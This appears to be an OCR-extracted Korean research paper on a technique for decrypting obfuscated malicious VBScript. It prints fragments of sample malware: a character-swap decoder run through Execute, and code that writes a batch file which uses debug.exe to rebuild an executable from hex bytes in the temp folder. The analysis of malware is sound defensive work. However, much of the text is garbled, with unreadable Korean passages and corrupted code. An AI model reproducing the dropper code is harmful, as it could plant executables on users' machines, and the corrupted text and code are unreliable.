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(An Analysis Technique for Encrypted Unknown Malicious Scripts)
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Abstract Decryption of encrypted malicious scripts is essential in order to analyze the scripts and
to determine whether they are malicious. An effective decryption technigue is one that is designed to
consider the characteristics of the script languages rather than the specific encryption patterns.
However, currently X-raying and emulation are not the proper techniques for the script because they
were designed to decrypt binary malicious codes. In addition to that, heuristic techniques are unable
to decrypt unknown script codes that use unknown encryption techniques. In this paper, we propose
a new technique that will be able to decrypt malicious scripts based on analytical approach. we

describe its implementation.
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Execute(snphhuatvsbkwuj('&Wer/Wervi/H,Vnsl/@w doe!gtobuhno"))

Function snphhuatvsbkwuj(zwbyjntbpmhaagh)
For wpzxiszgnczrao = 1 To Len{zwbyjntbpmhaagh)
ccuhbhihyzkheeq = Mid(zwbyintbpmhaagh, wpzxfszanczrao, 1)
If Asc(ceuhbhjhyzkheeq) = 7 Then
ccuhbhjhyzkheeq =Chr(34)
End If
If Asc(ccuhbhihyzkheeq) <> 35 and Asc(ccuhbhihyzkheeq) <> 34
Then
If Asclccuhbhjhyzkheeq) Mod 2 = 0 Then
ceuhbhihyzkheeq = Chr{Asc(ccuhbhjhyzkheea) + 1)
Else
ccuhbhjhyzkheeq = Chr{Asc(ccuhbhjhyzkheeq) - 1)
End If
End If
snphhuatvsbkwuj = snphhuatvsbkwuj & ccuhbhjhyzkheeq
Next
End Function
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Set Roy = Maggie.CreateTextFile(Maggie.BuildPath(Maggie.GetSpecialFolder
(2).V(*7594E44554D40562458545")). True)
Roy.WriteLine{V{"E402"} & Maggie.BuildPath{Maggie.GetSpecialFolder(2},
V{*7594E44554D405E2450405")))
Roy.WriteLine('E 0100" & H("4D5AE7016300010006002406FFFF5FOC"))
Roy. WriteLine("E 0110" & H("000200000001FOFF5700000001325048")

Function V(van)
For Kirk = 1 To Len{Van) Step 2
V =V & Chr{"&h" & Mid(Van Kitk + 1,1) & Mid(Van.Kirk,1))
Next
End Function

Function H{Houten)
For Luann = 1 To Len{Houten) Step 2

H=H&"" & Mid(Houten,Luann.2)
Next

End Function
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Set FSO = CreateObject("Scripting . FileSystemObject”)
&3 ste oy [ Set Decrypt = FSO.CreateTextFile(*resull.txt", True)
SY e+ B‘ecrypt.W(ileLine 23&""&908 " &31&""&3264 &" " & RunFunc (v ( "7594E44554D40513E2241445" 1)
Decrypt.WriteLine 24 & " " & 21 & "* & 253 ' “ & 3264 & " * & RunFunc (v ( *04563686F602F66666" ))
#2 3 &7 [ Decrypt.close
[ Function V(van)
= A X O End Function
s s 39 Function H{Houten)
| End Funotion
[ Function RunFunc(para)
retValue = para
retTyps = VarType(retvalue)
If {retType >= 2 and retType <=6) or retType = 11 or retType = 17 Then
Bt shEa Runfunc = Len(CStr(retValue))
&2 Xo| Elself retType = 7 Then
retvalue = *#° & retValue & "#"
RunFunc = Len{CStr(retValue))
Eiself cetType = 8 Then
retvalue = Chr(34) & retvValue & Chr(34)
RunFunc = Len{CStr{retValue))
Else
RunFunc = “0"
End It
If RunFung <> "0" Then
RunFunc = Runfunc & * * & retvalue
End If
[_ End Function
I8 5 58 5 A 29 99 522 98 449 YA 239EY
B 3 uFY Ho]z A3 PEe] Fele)(subtype)

D Subtype Description convertible
vbEmpty Empty (uninitialized) X
vbNull Null (no valid data) X
vblnteger Integer O
vbLong Long integer O
vhSingle Single-precision floating—point number O
vhDouble Double-precision floating-point number @]
vbCurrency Currency O
vbhDate Datc O
vbString String O
vbObject Automation object X
vbError Error X
vbBoolcan Boolcan O
vbVariant Variant (used only with arrays of Variants) X
vbDataObject A data-access object X
vbByte Bytc O
vbArray Array X
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o] & HFE T3l AN 23AYPEI) dojAY, g%
Z 23Y8 $2E(Windows Scripting Host){9] 9
g 53l °E AYPAA T o 4y A g
FeTh <29 554 AAF YAl 2IFPEAA &
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2 o o 4

original_expr return_value

len funciD len string

22 28 59 3264 28 "Seripting.FileSystemObject"”
23 90 31 3264 14 "WINTEMP1.BAT"

24 21 25 3264 11 "@echo off"

25 21 29 3264 13 "debug.exe <"

25 105 290 3264 13 "WINTEMP. TXT"

25 140 17 3264 7 " >nul"
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Fed dnEL MS-Windows Me Aol A Visual
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getspecialfolder(2), "WINTEMP.TXT") & " >nul")
marjorie.close
set roy = maggie.createtextfile(maggie.buildpath(maggie.
getspecialfolder(2), "WINTEMP.TXT"). true)
roy.writeline("N " &maggie.buildpath(maggie.getspecialfolder
(2). "WINTEMP.TWP"))

¥ 7 5" 9 2agEY 4

- A Asy A g
W 2% A7z BA 48 el g
= 3% 234 0.010 0.022
set maggie = createobject ("Scripting.FileSystemObject") Al AZYE WA
set marjorie = maggie.createtextfile(maggie.buildpath(maggie. 22 ] /Ssg 4 0.435 0.934
getspecialfolder(2), "WINTEMP1.BAT")), true) -
mar jor ie.wr i tel ine( *Gecho of f*) o ) HEE 2IYE A4 0.011 0.024
marjorie.writeline("debug.exe <" & maggie.buildpath(maggie. A 0.456 1.000
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